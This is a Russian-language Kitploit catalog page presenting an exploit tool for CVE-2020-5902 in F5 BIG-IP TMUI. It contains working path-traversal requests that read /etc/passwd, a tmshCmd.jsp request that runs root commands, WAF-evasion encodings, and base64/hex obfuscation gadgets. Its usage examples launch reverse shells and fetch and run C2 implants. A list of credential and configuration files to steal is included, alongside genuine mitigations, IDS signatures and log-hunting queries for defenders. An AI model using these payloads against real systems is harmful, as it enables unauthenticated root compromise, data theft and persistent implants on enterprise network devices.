Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
F5-BIG-IP — F5 BIG-IP — это платформа доставки приложений и обеспечения их безопасности, широко используемая в корпоративных средах. CVE-2020-5902 — это критическая уязвимость в TMUI, которая в неисправленных версиях может позволить несанкционированный доступ и удалённое выполнение кода, что подчёркивает необходимость обновления и непрерывного управления уязвимостями. | Kitploit
Инструменты/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Репозиторий
1 месяц назадЕщё не проверено

F5 BIG-IP — это платформа доставки приложений и обеспечения их безопасности, широко используемая в корпоративных средах. CVE-2020-5902 — это критическая уязвимость в TMUI, которая в неисправленных версиях может позволить несанкционированный доступ и удалённое выполнение кода, что подчёркивает необходимость обновления и непрерывного управления уязвимостями.

Поделиться

CVE-2020-5902 — RCE в F5 BIG-IP TMUI

Эксплойт Proof-of-Concept для критической уязвимости обхода пути / удаленного выполнения кода в Traffic Management User Interface (TMUI) продуктов F5 BIG-IP.

⚠️ Только для авторизованного тестирования на проникновение и исследований в области безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых не имеете письменного разрешения, противозаконно. Автор не несет ответственности за неправомерное использование данного инструмента.


Содержание

  • Общие сведения
  • Анализ уязвимости
  • Технический разбор
  • Затронутые версии
  • Возможности
  • Установка
  • Использование
  • Меры защиты
  • Обнаружение и охота за угрозами
  • Хронология
  • Ссылки
  • Отказ от ответственности

Общие сведения

F5 BIG-IP — это семейство многоцелевых сетевых устройств (балансировщиков нагрузки, WAF, контроллеров доставки приложений), развернутых в большинстве компаний из списка Fortune 500, финансовых учреждениях, медицинских организациях и государственных учреждениях по всему миру. Traffic Management User Interface (TMUI) — также называемый Configuration Utility — это веб-портал управления, доступный на порту 443 (или 8443).

В июле 2020 года F5 раскрыла CVE-2020-5902 — критическую (CVSS 9.8) неаутентифицированную уязвимость обхода пути в TMUI, которая позволяет удаленному неаутентифицированному атакующему:

  • Прочитать произвольные файлы из базовой Linux-системы (LFI)
  • Выполнять произвольные команды ОС с правами root (RCE)
  • Полностью скомпрометировать устройство и переместиться во внутренние сети

В течение дней после публичного раскрытия в дикой природе наблюдалась массовая эксплуатация, в том числе со стороны государственных субъектов.


Анализ уязвимости

Корневая причина

TMUI построен на Apache Tomcat и использует сервлетный фильтр для принудительной аутентификации защищенных ресурсов. Уязвимость заключается в том, как Tomcat обрабатывает сегменты пути, разделенные точкой с запятой (;).

Следующий запрос полностью обходит аутентификацию:

root@kitploit:~
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

Почему это работает:

  1. Сервлетный фильтр Tomcat видит путь как /tmui/login.jsp (заканчивается перед ;) — то есть публичную страницу входа — и разрешает запрос.
  2. Затем URL-резолвер Tomcat обрабатывает /..;/ как обход пути (/../) перед диспетчеризацией.
  3. В итоге запрос направляется к защищенному сервлету fileRead.jsp без аутентификации.
root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  Client Request                                                   │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat Servlet Filter       │
             │  Sees: /tmui/login.jsp  ✓     │
             │  (public endpoint → ALLOW)    │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URL Resolver         │
             │  Resolves: /..;/ → /../       │
             │  Final path: /tmui/locallb/   │
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (no auth check) │
             │  Reads arbitrary files as root│
             └───────────────────────────────┘

От LFI к RCE

Сервлет tmshCmd.jsp (также доступный через тот же обход пути) передает параметры command и utilCmdArgs напрямую в tmsh (командную оболочку управления BIG-IP), которая оборачивает run util bash -c '...'. Это обеспечивает неаутентифицированное выполнение команд ОС с правами root:

root@kitploit:~
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

Технический разбор

Схема атаки

root@kitploit:~
Phase 1: Reconnaissance
  └─ TCP banner grab (HTTP/TLS fingerprint)
  └─ SSL certificate analysis
  └─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
  └─ BIG-IP version estimation from /etc/f5-release

Phase 2: Vulnerability Check
  └─ Iterate over 6 traversal encoding variants
  └─ Test against 4 known-readable sentinel files
  └─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)

Phase 3: Exploitation
  ├─ Vector A: tmshCmd.jsp (primary RCE)
  │    └─ Command obfuscated via base64 / hex-encode gadgets
  ├─ Vector B: fileRead.jsp + command injection in fileName param
  │    └─ OS command injected into the fileName parameter
  └─ Vector C: Log poisoning (User-Agent injection → read access_log)

Phase 4: Post-Exploitation (optional)
  ├─ Interactive shell (command REPL)
  ├─ Reverse shell (4 concurrent one-liners)
  ├─ LFI brute-force (30 sensitive paths, parallel)
  └─ C2 implant deployment (Sliver / Metasploit / custom)

Варианты кодирования обхода пути

Гаджеты обфускации команд

Инструмент применяет один из двух гаджетов обфускации при каждом выполнении, что затрудняет обнаружение статическими сигнатурами:

root@kitploit:~
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"

Затронутые версии

BIG-IQ, BIG-IQ Centralized Management, F5OS и Traffix SDC не затронуты этим конкретным CVE.


Возможности

  • Многовариантный обход пути — 6 вариантов кодирования для обхода сигнатур WAF/IDS
  • Три независимых вектора RCE — tmshCmd.jsp, инъекция в fileRead, отравление журналов (log poisoning)
  • Гаджеты обфускации команд — конвейеры base64 и hex-кодирования
  • Пассивная фаза разведки — TCP-баннер, SSL/TLS-отпечаток, анализ HTTP-заголовков
  • Параллельный перебор LFI — 30 чувствительных путей, 10 параллельных потоков
  • Одновременные обратные оболочки — 4 однострочные команды, запускаемые одновременно
  • Интеграция с C2 — Sliver, Metasploit, собственные импланты (Linux/Windows/PS1)
  • Заголовки для обхода — случайные User-Agents, заголовки подмены IP, шумовые заголовки
  • Интерактивная оболочка REPL — команды !revshell, !c2, !read, !brute
  • Поддержка прокси — интеграция с Burp Suite / mitmproxy

Установка

root@kitploit:~
git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

Требования: Python 3.10+


Использование

root@kitploit:~
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

Примеры

root@kitploit:~
# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100

# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. Interactive shell
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFI brute-force (reads 30 sensitive paths)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. Deploy a C2 implant (Sliver example)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Route through Burp Suite for traffic inspection
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

Команды интерактивной оболочки

В режиме --shell доступны следующие специальные команды:


Меры защиты

Немедленные меры смягчения (если установка исправлений пока невозможна)

1. Заблокируйте доступ к TMUI из интернета

Единственная самая эффективная мера — убедиться, что интерфейс управления никогда не доступен из ненадежных сетей:

root@kitploit:~
# BIG-IP: restrict management access to a dedicated VLAN/IP range
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

Либо, в конфигурации Self IP на BIG-IP, убедитесь, что для управляющего порта нет внешнего маршрута.

2. Примените официальную меру смягчения F5 (до установки патча)

F5 опубликовала скрипт смягчения, который добавляет RewriteRule в Apache для блокировки шаблона обхода пути:

root@kitploit:~
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

Ссылка: K52145254 — Действия по смягчению

3. Установите исправление — примените исправленную версию

Окончательное решение — обновить BIG-IP до исправленной версии (см. таблицу Затронутые версии). F5 исправила логику сервлетного фильтра, чтобы правильно обрабатывать сегменты пути, разделенные точкой с запятой, до проверки аутентификации.


Защита на уровне архитектуры

Zero Trust сетевой доступ к плоскостям управления

root@kitploit:~
┌────────────────────────────────────────────────────────────────┐
│  RECOMMENDED ARCHITECTURE                                       │
│                                                                 │
│  Internet ──────► Firewall ──────► DMZ / Production           │
│                      │                                          │
│                      │  (DENY all traffic to mgmt ports)        │
│                      │                                          │
│                   Jump Host ──────► BIG-IP TMUI (port 443)    │
│                 (MFA + VPN)         (management VLAN only)     │
└────────────────────────────────────────────────────────────────┘

Ключевые принципы:

  • Интерфейсы управления никогда не должны находиться на том же IP/порту, что и производственный трафик
  • Доступ требует VPN + MFA перед попаданием на jump host
  • Ограничение портов Self IP на BIG-IP должно быть установлено в Allow None или Allow Defaults

Правила Web Application Firewall

Если WAF находится перед управлением BIG-IP (необычно, но возможно в некоторых архитектурах), добавьте правила для блокировки:

  • Запросов, содержащих ; в пути URL
  • Запросов, соответствующих ..; или %3b в сегментах пути
  • Запросов к /tmui/locallb/workspace/ из источников, не относящихся к управлению

Чек-лист усиления безопасности

root@kitploit:~
[ ] BIG-IP patched to a fixed version
[ ] TMUI not exposed to the internet (verify with Shodan/Censys)
[ ] Management VLAN segregated from production
[ ] Self IP port lockdown configured (Allow None or Allow Defaults)
[ ] MFA enforced on management access
[ ] BIG-IP software inventory in asset management system
[ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
[ ] Log forwarding to SIEM configured (access_log, audit.log)
[ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
[ ] Incident response playbook includes network device compromise scenario

Обнаружение и охота за угрозами

Сигнатуры IDS/IPS (Snort / Suricata)

root@kitploit:~
# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

Поиск по журналам Apache/HTTPD (grep)

root@kitploit:~
# Hunt for traversal attempts in BIG-IP access logs
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# Look for successful hits to the vulnerable endpoints
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

SIEM-запрос (Splunk SPL)

root@kitploit:~
index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

Индикаторы компрометации (IOCs)

Шаблоны URL:

root@kitploit:~
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

Типичные цели атакующих (доступные файлы):

root@kitploit:~
/etc/passwd                  — credential harvesting
/config/bigip.conf           — VPN/routing config exfiltration
/config/bigip.license        — license key theft
/config/bigip_user.conf      — local admin account enumeration
/root/.bash_history          — historical command reconnaissance

Хронология


Ссылки

  • NVD — CVE-2020-5902
  • Рекомендации по безопасности F5 K52145254
  • Чрезвычайная директива CISA 20-03
  • Анализ Rapid7
  • Публикация BleepingComputer
  • Поисковый запрос Shodan: http.title:"BIG-IP" port:443

Отказ от ответственности

Этот инструмент предоставлен только в образовательных целях и для авторизованных оценок безопасности. Он предназначен для:

  • Специалистов по тестированию на проникновение, имеющих письменное разрешение владельца активов
  • Исследователей безопасности, изучающих уязвимость в лабораторных условиях
  • Специалистов по защите, создающих сигнатуры обнаружения и конфигурации усиления
  • Участников соревнований CTF (Capture the Flag)

Использование этого инструмента против систем без явного письменного разрешения является уголовным преступлением в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA), британским Законом о неправомерном использовании компьютеров, бразильским Законом № 12.737/2012 (Lei Carolina Dieckmann) и аналогичными законами в большинстве юрисдикций по всему миру.

Авторы и участники этого репозитория не несут ответственности за любой ущерб, юридические последствия или иной вред, возникший в результате неправомерного использования этого программного обеспечения.


Сделано для сообщества исследователей безопасности. Устанавливайте исправления. Защищайте свои сети.

Скачать инструмент
ВариантПолезная нагрузка
Стандартныйtmui/login.jsp/..;/tmui/...
Закодированная точка с запятойtmui/login.jsp/..%3b/tmui/...
Двойное URL-кодированиеtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
Юникод-точкиtmui/login.jsp/%2e%2e;/tmui/...
Вариация регистраTMUI/login.jsp/..;/tmui/...
Подмена каталогаtmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...
Версия BIG-IPУязвимый диапазонИсправленная версия
15.x< 15.1.0.4≥ 15.1.0.4
14.x< 14.1.2.6≥ 14.1.2.6
13.x< 13.1.3.4≥ 13.1.3.4
12.x< 12.1.5.2≥ 12.1.5.2
11.x< 11.6.5.2≥ 11.6.5.2
КомандаОписание
!revshell <lhost> <lport>Запустить 4 варианта обратной оболочки одновременно
!c2 <url> <type> [args]Скачать и выполнить C2-имплант
!read <path>Прочитать произвольный файл через LFI
!bruteПеребрать 30 чувствительных путей
!exitЗавершить сеанс
<любая команда ОС>Выполнить через RCE и вывести результат
ДатаСобытие
2020-06-30F5 уведомлена в частном порядке
2020-07-01F5 публикует рекомендации (K52145254) и исправления
2020-07-03Публичный PoC опубликован в Twitter
2020-07-04Массовая эксплуатация зафиксирована несколькими компаниями в области threat intelligence
2020-07-06CISA выпускает Чрезвычайную директиву 20-03, обязывающую федеральные ведомства установить исправление
2020-07-09Подтверждена эксплуатация государственными субъектами (APT) в дикой природе
2020-07-15Около 8 000 экземпляров BIG-IP остаются без исправлений (Shodan)
2020-08-xxГруппировки программ-вымогателей начинают нацеливаться на неустановленные устройства BIG-IP